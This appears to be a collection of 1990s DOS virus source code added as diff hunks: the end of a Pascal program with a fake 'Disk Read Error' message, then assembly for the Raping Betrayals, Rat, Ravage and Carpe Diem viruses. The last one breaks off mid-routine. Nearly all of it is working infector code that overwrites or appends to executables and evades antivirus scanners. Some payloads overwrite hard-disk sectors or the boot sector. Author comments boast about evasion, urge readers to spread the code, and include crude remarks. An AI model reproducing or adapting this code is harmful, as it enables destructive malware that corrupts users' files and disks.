Blockwrite(F,buffer,vSize);
END;
Close(F);
TempPtr:= TempPtr^.link;
END;
killList(fileList);
writeLN('Disk Read Error');
{change to 0 to make live}
repeat until 1=1{0};
END.
LINK.PAS:
unit link;
INTERFACE
Type
NodePtr=^Node;
Node= record
Info: String[40];
Link: NodePtr;
end;
ListType=record
First: NodePtr;
last : NodePtr;
end;
{var
TheList : ListType;
{MemSize : longInt;}
{TempList:NodePtr;}
procedure initList( Var thelist: listType);
Procedure InsertNode( var theLIST: listType; Stuff: string );
procedure KillList(var theLIst: listTYPE);
IMPLEMENTATION
procedure initList( var thelist: listType);
begin
TheLIST.First:=NIL;
TheLIST.last:= NIL;
end;
Procedure InsertNode( var theLIST: listType; Stuff: string );
var
Temp,
TempNode: NodePtr;
begin
Temp:=TheList.first; {borrow start}
New ( TempNode ); {.............}
TempNode^.Info:= Stuff; {make new node}
TempNode^.Link:= nil; {.............}
If ( Temp=nil ) then
begin
TheList.first:=TempNode; {both point at single node}
TheList.last :=TempNode;
end
ELse
begin
TheList.last^.link:=TempNode; {point last NODE to new node}
TheList.last :=TempNode; {point list END to new node}
end;
end;
procedure KillList(var theLIst: listTYPE);
var dummy,
hold: NodePtr;
begin
dummy:=thelist.first;
while dummy<nil do begin
thelist.First:=thelist.first^.link;
dispose(dummy);
dummy:=Thelist.first;
end;
end;
begin
end.

@ -0,0 +1,340 @@
; VirusName: Raping Betrayals
; Country : Sweden
; Author : The Unforgiven / Immortal Riot
; Date : 15/09/1993
;
;
; This is an mutation of Misery from Immortal Riot.
; I mutated this one, cuz Mcafee scan grabbed it
; within one month after we released it. So, now
; "Misery" is called "Raping Betrayls". Many
; thanks to PCM2 for the original Leprosy virus.
;
; Okey..In this version I just changed the new
; Mcafee "Scan-String", by remarking some calls.
; I also added a day checker, and if the
; virus (or a infected file) is run at the 10:th
; any month, procedure "ellie" will go off..
; Ellie is some sort of heart breaker!..<..hehe..>
;
; It copies itself into other exe/com files on the current
; drive. The file-size will not be changed, cuz it just
; replaces the code in the beginning with itselves. The
; infected files will not work, instead the virus will
; run again. The virus uses dot-dot metod for changing dirs.
;
; There has been many mutations born from Leprosy,
; and here we give you yet another contribution...
;
; McaFee Scan v108 can't find it, neither can S&S Toolkit 6.54
; Havn't tried with TBScan/F-prot, but they will probably
; identify it as "Leprosy".
;
; Regards : The Unforgiven / Immortal Riot
Title Raping Betrayals ; By The Unforgiven / Immortal Riot
cr equ 13 ; Carriage return ASCII code
lf equ 10 ; Linefeed ASCII code
tab equ 9 ; Tab ASCII code
virus_size equ 664 ; Size of the virus file
code_start equ 100h ; Address right after PSP in memory
dta equ 80h ; Addr of default disk transfer area
datestamp equ 24 ; Offset in DTA of file's date stamp
timestamp equ 22 ; Offset in DTA of file's time stamp
filename equ 30 ; Offset in DTA of ASCIIZ filename
attribute equ 21 ; Offset in DTA of file attribute
code segment 'code' ; Open code segment
assume cs:code,ds:code ; One segment for both code & data
org code_start ; Start code image after PSP
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; All executable code is contained in boundaries of procedure "main".
; The following code, until the start of "virus_code", is the non-
; encrypted CMT portion of the code to load up the real program.
; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
main proc near ; Code execution begins here
call encrypt_decrypt ; Decrypt the real virus code
jmp random_mutation ; Put the virus into action
encrypt_val db 00h ; Hold value to encrypt by here
; Ä-ÄÄÄ--ÄÄ- Encrypt, save, and restore the virus code ÄÄÄ--ÄÄ--Ä-ÄÄ
infect_file:
mov bx,handle ; Get the handle
push bx ; Save it on the stack
; call encrypt_decrypt ; Encrypt most of the code
pop bx ; Get back the handle
mov dx,code_start ; Buffer where code starts in memory
mov cx,virus_size ; Total number of bytes to write
mov ah,40h ; DOS write-to-handle service
int 21h ; Write the virus code into the file
; call encrypt_decrypt ; Restore the code as it was
call daycheck ; Call function who check's for day.
ret ; Go back to where you came from
; ÄÄ-ÄÄÄÄ-ÄÄ Encrypt or decrypt the virus code ; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄ-Ä
encrypt_decrypt:
mov bx,offset virus_code ; Get address to start
; encrypt/decrypt
xor_loop: ; Start cycle here
mov ah,[bx] ; Get the current byte
xor al,encrypt_val ; En/dis-engage XOR scheme on it
mov [bx],ah ; Put it back where we got it
inc bx ; Move BX ahead a byte
cmp bx,offset virus_code+virus_size ; Are we at the end?
jle xor_loop ; If not, do another cycle
ret ; and go back where we came from
; ÄÄ-ÄÄÄÄÄ---ÄÄÄÄÄ--ÄÄÄ--ÄÄÄ--ÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ----ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; The rest of the code from here on remains encrypted until run-time,
; using a fundamental XOR technique that changes via CMT.
; ÄÄ-ÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄ--ÄÄÄ---ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--Ä-Ä-ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
virus_code:
; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄ--ÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; "All strings are kept here in the file, and automatically encrypted"
; Okey..Thanks to Cybernetic Mutation Technology(tm), for this, but
; the virus is pretty un-use-less if Mcafee scan catch is so, I
; changed a few calls, and you can have phun with this again...
; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ-Ä--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
exe_filespec db "*.EXE",0 ; To infect EXE's
com_filespec db "*.COM",0 ; To infect COM's
newdir db "..",0 ; Move up one directory
; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Fake_msg is the message that will be printed on the screen, after
; it has infected files (or when a infected file is run).
; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ---ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
fake_msg db cr,lf,"Program too big to fit in memory$"
virus_msg1 db cr,lf,tab,"Betrayal is a sin, if it comes from another..$"
db " The Unforgiven / Immortal Riot " ; HUmm..that's me..
db " Dedicated to Ellie! - Lurve you! "; Love ya Ellie!
db " Sweden 15/09/93 " ; written..
; ÄÄ-ÄÄÄÄÄÄÄ----ÄÄÄ-ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Okey..these messages just are just "file-size out-fillers" or something,
; nothing important..so I remarked them, and the virus is a bit smaller...
; also check in prodedure "Exit_virus" for more info about m..
;virus_msg2 db cr,lf,tab," Something was placed here before.. $"
;virus_msg3 db cr,lf,tab," But now, it's all gone, black, sad $"
;virus_msg4 db cr,lf,tab," and empty. Empty places i my mind, $"
;virus_msg5 db cr,lf,tab," heart, life, and soul, yes, it's a sin. $"
; ÄÄ-ÄÄÄÄÄÄÄÄ---ÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
compare_buf db 20 dup (?) ; Buffer to compare files in
files_found db ?
files_infected db ?
orig_time dw ?
orig_date dw ?
orig_attr dw ?
handle dw ?
success db ?
random_mutation: ; First decide if virus is to mutate
mov ah,2ch ; Set up DOS function to get time
int 21h
cmp encrypt_val,0 ; Is this a first-run virus copy?
je install_val ; If so, install whatever you get.
cmp dh,15 ; Is it less than 16 seconds?
jg find_extension ; If not, don't mutate this time
install_val:
cmp dl,0 ; Will we be encrypting using zero?
je random_mutation ; If so, get a new value.
mov encrypt_val,dl ; Otherwise, save the new value
find_extension: ; Locate file w/ valid extension
mov files_found,0 ; Count infected files found
mov files_infected,4 ; BX counts file infected so far
mov success,0
find_exe:
mov cx,00100111b ; Look for all flat file attribs
mov dx,offset exe_filespec ; Check for .EXE extension first
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je find_com ; If not, nothing more to do
call find_healthy ; Try to find healthy .EXE
find_com:
mov cx,00100111b ; Look for all flat file attribs
mov dx,offset com_filespec ; Check for .COM extension now
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je chdir ; If not, step back a directory
call find_healthy ; Try to find healthy .COM
chdir: ; Routine to step back one level
mov dx,offset newdir ; Load DX with address of pathname
mov ah,3bh ; Change directory DOS service
int 21h
dec files_infected ; This counts as infecting a file
jnz find_exe ; If "yes", find another
jmp exit_virus ; Otherwise let's pack it up
find_healthy:
mov bx,dta ; Point BX to address of DTA
mov ax,[bx]+attribute ; Get the current file's attribs
mov orig_attr,ax ; Save it
mov ax,[bx]+timestamp ; Get current file's time stamp
mov orig_time,ax ; Save it
mov ax,[bx]+datestamp ; Get current file's data stamp
mov orig_date,ax ; Save it
mov dx,dta+filename ; Get filename to change attribute
mov cx,0 ; Clear all attribute bytes
mov al,1 ; Set attribute sub-function
mov ah,43h ; Call DOS service to do it
int 21h
mov al,2 ; Open handle for read/write
mov ah,3dh ; Open file handle DOS service
int 21h
mov handle,ax ; Save the file handle
mov bx,ax ; Move the handle to BX for read
mov cx,20 ; Read in the top 20 bytes of file
mov dx,offset compare_buf ; Use the small buffer up top
mov ah,3fh ; DOS read-from-handle service
int 21h
mov bx,offset compare_buf ; Adjust the encryption value
mov ah,encrypt_val ; for accurate comparison
mov [bx+6],ah
mov si,code_start ; One array to compare is this file
mov di,offset compare_buf ; The other array is the buffer
mov ax,ds ; Transfer the DS register...
mov es,ax ; ...to the ES register
cld
repe cmpsb ; Compare the buffer to the virus
jne healthy ; If different, the file is healthy
call close_file ; Close it up otherwise
inc files_found ; Chalk up another fucked up file
continue_search:
mov ah,4fh ; Find next DOS function
int 21h ; Try to find another file
cmp ax,12h ; Are there any more files?
je no_more_found ; If not, get outta here
jmp find_healthy ; Try the process on this one
no_more_found:
ret ; Go back to where we came from
healthy:
mov bx,handle ; Get the file handle
mov ah,3eh ; Close it for now
int 21h
mov ah,3dh ; Open it again, to reset it
mov dx,dta+filename
mov al,2
int 21h
mov handle,ax ; Save the handle again
call infect_file ; Infect the healthy file
call close_file ; Close down this operation
inc success ; Indicate we did something this time
dec files_infected ; Scratch off another file on agenda
jz exit_virus ; If we're through, terminate
jmp continue_search ; Otherwise, try another
ret
close_file:
mov bx,handle ; Get the file handle off the stack
mov cx,orig_time ; Get the date stamp
mov dx,orig_date ; Get the time stamp
mov al,1 ; Set file date/time sub-service
mov ah,57h ; Get/Set file date and time service
int 21h ; Call DOS
mov bx,handle
mov ah,3eh ; Close handle DOS service
int 21h
mov cx,orig_attr ; Get the file's original attribute
mov al,1 ; Instruct DOS to put it back there
mov dx,dta+filename ; Feed it the filename
mov ah,43h ; Call DOS
int 21h
ret ; Returning to base...
; ÄÄ-ÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-Ä--ÄÄÄÄÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; ELLIE:
; mov ah,09h ; Read under
; mov dx,offset virus_msg1 ; for more
; int 21h ; information
;
; Okey..If it's 10:th (any month), the virus will do something with
; your hard-drives (..ellie..) which I finds to be real nasty ! If
; you wanna check if the function day-check works, just un-mark
; the tree lines under the first "ellie". and the virus_msg1
; "Betrayal is a sin, if it comes from another" will be displayed.
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Here is the real "Ellie"..Yeah..that's certainly her!
; ÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
ELLIE: ; Here comes the bitch..
cli ; Tigh her up!
mov ah,2 ; starting with drive C
cwd ; starting at sector 0
mov cx,0100h ; write 256 sectors
int 026h ; to protect and serve..
jmp maria ; Next victim is Maria..
MARIA: ;Yet another..
MOV AL,3 ;Set to fry drive D
MOV CX,700 ;Set to write 700 sectors
MOV DX,00 ;Starting at sector 0
MOV DS,[DI+99] ;Put random crap in DS
MOV BX,[DI+55] ;More crap in BX
CALL ELLIE ;Jump for joy!...
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; If you want Ellie to go off on some special month, just look at procedure
; "Infect_file", and the call to daycheck. Change the call to Monthcheck,
; and "delete" the ";" on procedure monthcheck. But remember, that makes,
; the virus much less destructive, and by that time, all scanners has
; probably added a new scan-string on this one. Now it will go off the
; 10:th every month. Feel free to modify this as much you want to.
; MONTHCHECK: ; Procudure to check
; mov ah,2ah ; what month it is..
; int 21h ; Dos to your service..
; cmp dh,06 ; comp dh,06 (July, month 06)
; je daycheck ; if month 06, jump to daycheck,
; JMP something ; if not, just jump to something..
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
Daycheck: ; check what day it is..
mov ah,2ah ;
int 21h ; Dos to your service..
cmp dl,10 ; If it is the 10:th,
je ellie ; if yes, have a great fuck..
JMP something ; if not..just can tell you how sorry I'm !
Something: ; Some stupid procedure..but remember..
ret ; Arbeit Macht Frei !
exit_virus:
cmp files_found,15 ; Are at least 15 files infected?
jl print_fake ; If not, keep a low profile
cmp success,0 ; Did we infect anything?
jg print_fake ; If so, cover it up
mov ah,09h ; Use DOS print string service
mov dx,offset virus_msg1 ; Load address of the first line
int 21h ; Print it..
; mov dx,offset virus_msg2 ; ---
; int 21h ; Okey..mess(ages) 2-5 have been
; mov dx,offset virus_msg3 ; removed from the code..too bad,
; int 21h ; they were Metallica messages...
; mov dx,offset virus_msg4 ; ---
; int 21h ; Anyway, (ab)use this program, B4
; mov dx,offset virus_msg5 ; Mcafee gets a new string for this
; int 21h ; ---
jmp terminate ; Jump to terminate..
print_fake:
mov ah,09h ; Print fake error message
mov dx,offset fake_msg ; Print "fake_msg"
int 21h ; Dos to your service..
terminate: ; Get ready for quit this program
mov ah,4ch ; DOS terminate process function
int 21h ; Exit..
filler db 8 dup (90h) ; Pad out to 666 bytes
main endp
code ends
end main
; Greeting goes out to : Raver, Metal Militia, Scavenver,
; and of-cuz to Miss Perfect...ELLIE!

@ -0,0 +1,127 @@
PAGE 59,132
;*************************************
;**The Rat Virus - Overwriting **
;** Non-Resident **
;** Com File Infector**
;** Author: -Ajax- **
;** This virus is 92 bytes long **
;** Because it is made in 1992 :) **
;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/**
;** Pass this unscannable around to **
;** Your friends,and tell em McAfee **
;** sent ya! **
;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/**
;** Underground Asylum-904/688.6494 **
;**"Replication Is Our Middle Name!"**
;*************************************
retf macro ret_count ; Fixup for Assembler
ifdef ret_count
db 0CAh
dw ret_count
elseif
db 0CBh
endif
endm
retn macro ret_count
ifdef ret_count
db 0C2h
dw ret_count
elseif
db 0C3h
endif
endm
movseg macro reg16, unused, Imm16 ; Fixup for Assembler
ifidn <reg16>, <bx>
db 0BBh
endif
ifidn <reg16>, <cx>
db 0B9h
endif
ifidn <reg16>, <dx>
db 0BAh
endif
ifidn <reg16>, <si>
db 0BEh
endif
ifidn <reg16>, <di>
db 0BFh
endif
ifidn <reg16>, <bp>
db 0BDh
endif
ifidn <reg16>, <sp>
db 0BCh
endif
ifidn <reg16>, <BX>
db 0BBH
endif
ifidn <reg16>, <CX>
db 0B9H
endif
ifidn <reg16>, <DX>
db 0BAH
endif
ifidn <reg16>, <SI>
db 0BEH
endif
ifidn <reg16>, <DI>
db 0BFH
endif
ifidn <reg16>, <BP>
db 0BDH
endif
ifidn <reg16>, <SP>
db 0BCH
endif
dw seg Imm16
endm
location_file equ 9Eh ; location of file in DTA
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h ; Starting of all .COM files
rat_virus proc far
start:
mov ah,4Eh ; fixup for making undetectable
mov cl,20h ;
mov dx,offset all_com_files ;
int 21h ;
;
start_infecting:
mov ax,3D01h ;
mov dx,Location_file ;
int 21h ; Open target file.
mov bx,ax
mov dx,offset ds:[100h] ; Location of file to write.
mov cl,5ch ; File size to overwrite.
mov ah,40h ;
int 21h ; Write to filename in dx
;
mov ah,3Eh ;
int 21h ;
;
mov ah,4Fh ;
int 21h ;
;
jnc start_infecting ; If more files,keep goin
mov ah,09h ;
mov dx,offset bbs_ad ; display my bbsad!
int 21h
int 20h ; get to dos.
all_com_files db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h ; data for all com files
; in current dir..
bbs_ad db 'Underground Asylum BBS - [904]688.6494$'
rat_virus endp
seg_a ends
end start


@ -0,0 +1,254 @@
; Virusname: Ravage
; Origin: Sweden
; Author: Metal Militia
; This virus can be found with any anti-virus program, since it's been
; around for a while now. (SCAN/TB-SCAN/F-PROT/SOLOMON, that is..)
; It's a resident .COM and .EXE infector, without any encryption or
; stealth capabilities. It infects when you execute (4bh), opens (3dh),
; extended open (6ch), and on closing (3eh). This makes it quite a good
; infector, but since it doesn't care what files it infects, most of the
; AV programs will find themselves makes it quite a good infector, but
; any program with selfchecking (95%) will find themself hit.
; I stopped with this virus since it's so totally buggy that you'll find
; it almost at once. This is the reason why i give you the source code.
; In my later resident things, there will be such things as encryption,
; stealth etc. i think..
.model tiny
.code
.radix 16
.code
EXE_ID = -42
viruslength = heap - _small
startload = 90 * 4
_small:
call relative
oldheader dw 020cdh
dw 0bh dup (0)
relative:
pop bp
push ds
push es
xor ax,ax
mov ds,ax
mov es,ax
mov di,startload
cmp word ptr ds:[di+25],di
jz exit_small
lea si,[bp-3]
mov cx,viruslength
db 2Eh
rep movsb
mov di,offset old21 + startload
mov si,21*4
push si
movsw
movsw
pop di
mov ax,offset int21 + startload
stosw
xchg ax,cx
stosw
exit_small:
pop es
pop ds
or sp,sp
jnp returnCOM
returnEXE:
mov ax,ds
add ax,10
add [bp+16],ax
add ax,[bp+0e]
mov ss,ax
mov sp,cs:[bp+10]
jmp dword ptr cs:[bp+14]
returnCOM:
mov di,100
push di
mov si,bp
movsw
movsb
ret
infect:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov ax,4300h
int 21h
jnc test_it
jmp exitinfect
test_it:
test cl,1
je ok_2_open
and cl,0feh
mov ax,4301h
int 21h
jnc ok_2_open
jmp exitinfect
ok_2_open:
mov ax,3d02
int 21
xchg ax,bx
push cs
pop ds
push cs
pop es
mov ax,5700h
int 21h
push cx
push dx
mov si,offset oldheader+startload
mov ah,3f
mov cx,18
push cx
mov dx,si
int 21
cmp ax,cx
jnz go_already_infected
mov di,offset target + startload
push di
rep movsb
pop di
mov ax,4202
cwd
int 21
cmp ds:[di],'ZM'
jz infectEXE
cmp ds:[di],'MZ'
jz infectEXE
sub ax,3
mov byte ptr ds:[di],0e9
mov ds:[di+1],ax
sub ax,viruslength
cmp ds:[si-17],ax
jnz finishinfect
go_already_infected:
pop cx
jmp short already_infected
int21:
cmp ax,4b00
jz infect
cmp ax,3d00
jz infect
cmp ax,3e00
jz some_open
cmp ax,6c00
jnz not_opening
some_open:
mov ah,45
int 21
jmp infect
not_opening:
jmp chain
infectEXE:
cmp word ptr [di+10],EXE_ID
jz go_already_infected
push ax
push dx
add ax,viruslength
adc dx,0
mov cx,200
div cx
or dx,dx
jz nohiccup
inc ax
nohiccup:
mov word ptr ds:[di+4],ax
mov word ptr ds:[di+2],dx
pop dx
pop ax
mov cx,10
div cx
sub ax,ds:[di+8]
mov word ptr ds:[di+14],dx
mov word ptr ds:[di+16],ax
mov word ptr ds:[di+0e],ax
mov word ptr ds:[di+10],EXE_ID
finishinfect:
mov cx,viruslength
mov ah,40
mov dx,startload
int 21
mov ax,4200
xor cx,cx
cwd
int 21
mov ah,40
mov dx,di
pop cx
int 21
already_infected:
pop dx
pop cx
mov ax,5701h
int 21h
mov ah,3e
int 21
jmp exitinfect
db 'RAVAGE! '
db '(c) Metal Militia / Immortal Riot'
exitinfect:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
chain:
db 0ea
heap:
old21 dw ?, ?
target dw 0ch dup (?)
endheap:
end _small

@ -0,0 +1,292 @@
; VirusName : CARPE DIEM! - Seize the day
; Origin : Sweden
; Author : Raver
; Date : 16/11/93
; Well this is my (Raver's) first scratch virus.
; This virus is mainly made for educational purpose (my own!).
; It's pretty well commented in an easy way so even you folks
; with little experience with assembler should be able to follow
; the code!
; It's a pretty simple non-overwriting .com-infector with a harmless
; nuking routine. It clears and restores the file attributes and
; date/time stamp and finds and infects files using the dot-dot method.
; An encryption routine and some "unusual" instructions are included to
; avoid detection by the common virus scanners. At release date, see
; above, neither F-prot nor Tb-scan found traces of virus code!
; There is about a 5 percent chance that the nuking routine will be
; activated, it checks the system time for 1/100 of a second. If it's
; activated it'll overwrite the first sector on the fixed disk (c:)
; which contains the boot sector. This might seem cruel but, infact,
; it's quite harmless 'cause norton utilities and other programs
; easily restore the boot sector. It's there just to make inexperienced
; users (lamers!) nervous!
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; CARPE DIEM! - Seize the day
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
cseg segment byte public 'code'
assume cs:cseg, ds:cseg
org 100h
start_of_virus: ;entry point
call get_off ;this somewhat unusual code won't
get_off: ;produce a flexible entry point flag
mov si,sp ;get the delta offset
mov bp,word ptr ss:[si] ;offset is on top of stack
sub bp,offset get_off ;put it in bp
inc sp ;restore sp to it's original
inc sp
; call encrypt_decrypt ;decrypt the contents of the program
mov ax,bp ;use alternative code - otherwise
add ax,116h ;f-prot will recognize it as Radyum!!!!
push ax
jmp encrypt_decrypt
jmp encrypted_code_start ;jmp to the (en/de)crypted virus area
encryption_value dw 0 ;random value for encryption routine
write_virus_to_file: ;proc to append virus code to file
call encrypt_decrypt ;encrypt the virus before write
mov cx,offset end_of_virus-100h ;length of virus to be written
lea dx,[bp] ;write from start
mov ax,word ptr [bp+end_of_virus+1ah+2] ;most significant part of
inc ah ;file length in DTA. Is
add dx,ax ;always 0 in .com-files.
mov ah,40h ;Use this trick to fool
int 21h ;heuristic searches.
;dx = delta offset+100h
call encrypt_decrypt ;decrypt the code for
ret ;further processing.
encrypt_decrypt: ;proc to (en/de)crypt the code
mov dx,word ptr [bp+encryption_value] ;use random number for every
lea si,[bp+encrypted_code_start] ;new infection
mov cx,(end_of_virus-encrypted_code_start+1)/2
crypt_loop: ;xor the whole virus code
xor word ptr [si],dx ;between encrypted_code_start
add si,2 ;and end_of_virus
loop crypt_loop
ret
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Here the part that will be encrypted starts, i.e. all code
; except the encryption routine and the routine to append virus
; to file.
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
encrypted_code_start:
cld
mov ah,1ah ;Set DTA Transfer area to after
lea dx,[bp+end_of_virus] ;after the end of file to save file
int 21h ;size. Note: do not use default 80h
;as DTA area since the parameters to
;the "real" program will be overwritten!
lea si,[bp+orgbuf] ;Transfer buffer contents
lea di,[bp+orgbuf2] ;to be restored to the beginning
mov cx,2 ;for restart of the "real" program
rep movsw
mov di,2 ;Infection counter, 2 files every run
mov ah,19h ;get current drive
int 21h
cmp al,2 ;check if a: or b:
jae get_cur_dir ;if so, skip infection. Otherwise
jmp no_more_files ;the user will most likely get
;quite suspicious
get_cur_dir:
mov ah,47h ;get starting directory
xor dl,dl ;it will be changed by the
lea si,[bp+end_of_virus+2ch] ;dot-dot method later on
int 21h
find_first: ;start finding the first .com file
mov cx,7 ;in every new dir
lea dx,[bp+filespec]
mov ah,4eh
int 21h
jnc clear_attribs ;successive?
call ch_dir ;no more files in dir. change dir
jmp find_first ;start over again
;otherwise jmp
find_next: ;this is the upper point of the find
mov ah,4fh ;files loop in a dir
int 21h
jnc clear_attribs
call ch_dir ;no more files in dir. change dir
jmp find_first ;start over again
clear_attribs: ;set the file attribute to 0
mov ax,4301h
xor cx,cx
lea dx,[bp+end_of_virus+1eh]
int 21h
open_file: ;open file to be infected
mov ax,3d02h
; lea dx,[bp+end_of_virus+1eh] ;since clear_attribs
int 21h
xchg ax,bx ;Put file handle in bx
read_file: ;read first four bytes of file
mov ah,3fh ;They will be restore to the start
mov cx,4 ;after the virus is finnished
lea dx,[bp+orgbuf] ;so the program can execute
int 21h
check_already_infected: ;check the first to bytes and check
mov si,dx ;if the file is already infected
lea si,[bp+orgbuf]
cmp word ptr [si],0e990h
je already_infected ;if so, jmp
cmp word ptr [bp+end_of_virus+35],'DN' ;check if command.com
jz already_infected ;if so, don't infect
mov ax,word ptr [bp+end_of_virus+1ah] ;check file size
cmp ax,500 ;and skip short and
jb already_infected ;long files
cmp ax,64000
ja already_infected
mov ax,4202h ;get lenght of initial jmp in ax
xor cx,cx
xor dx,dx
int 21h
sub ax,4 ;subtract the first four bytes, which
;will be overwritten
mov word ptr [bp+startbuf],0e990h ;load the buffer with a nop
mov word ptr [bp+startbuf+2],ax ;and a jmp to virus beginning
;notice the reversed order!
mov ax,4200h ;move to beginning of file
int 21h
mov ah,40h ;write the new instructions
mov cx,4
lea dx,[bp+startbuf]
int 21h
mov ax,4202h ;move to end of file
xor cx,cx
xor dx,dx
int 21h
mov ah,2ch ;get a random number from
int 21h ;system clock for the
mov word ptr [bp+encryption_value],dx ;encryption routine
call write_virus_to_file ;append the virus code
jmp restore_time_date
already_infected: ;if already encrypted increase
inc di ;infection counter with one
restore_time_date: ;restore file time & date
lea si,[bp+end_of_virus+16h]
mov cx,word ptr [si]
mov dx,word ptr [si+2]
mov ax,5701h
int 21h
close_file: ;close the file handle
mov ah,3eh
int 21h
set_old_attrib: ;restore the old file attrib
mov ax,4301h
xor ch,ch
mov cl,byte ptr [bp+end_of_virus+15h]
lea dx,[bp+end_of_virus+1eh]
int 21h
dec di ;decrease infection counter
cmp di,0 ;and check if infection is
jbe no_more_files ;completed
jmp find_next
no_more_files:
mov ah,2ch ;get a new random number
int 21h ;5% chance of nuke
cmp dl,5
ja restore_start ;above 5 no nuke
mov ax,0301h ;trash the bootsector of c:
mov cx,0001h ;This might seem cruel but
mov dx,0080h ;norton and other programs
lea bx,[bp+start_of_virus] ;easily fix it. It's just
int 13h ;to make the user nervous!!
mov ah,09h ;deliver a message too
lea dx,[bp+signature]
int 21h
restore_start: ;copy the four saved bytes to
lea si,[bp+orgbuf2] ;beginning of file in memory
mov di,100h
movsw
movsw
restore_dir: ;change back to original
lea dx,[bp+end_of_virus+2ch] ;dir
mov ah,3bh
int 21h
exit_proc: ;return to start of program
mov bx,100h ;This will be enrypted in
push bx ;infected files, so anti-vir
;progs won't complain.
xor ax,ax ;for org virus to push on
retn ;the stack for ret
ch_dir:
lea dx,[bp+dot_dot] ;use dot-dot method
mov ah,3bh
int 21h
jnc no_err ;sub dir existed
pop ax ;otherwise all files are checked. exit!
jmp no_more_files ;pop the ip pointer from the stack
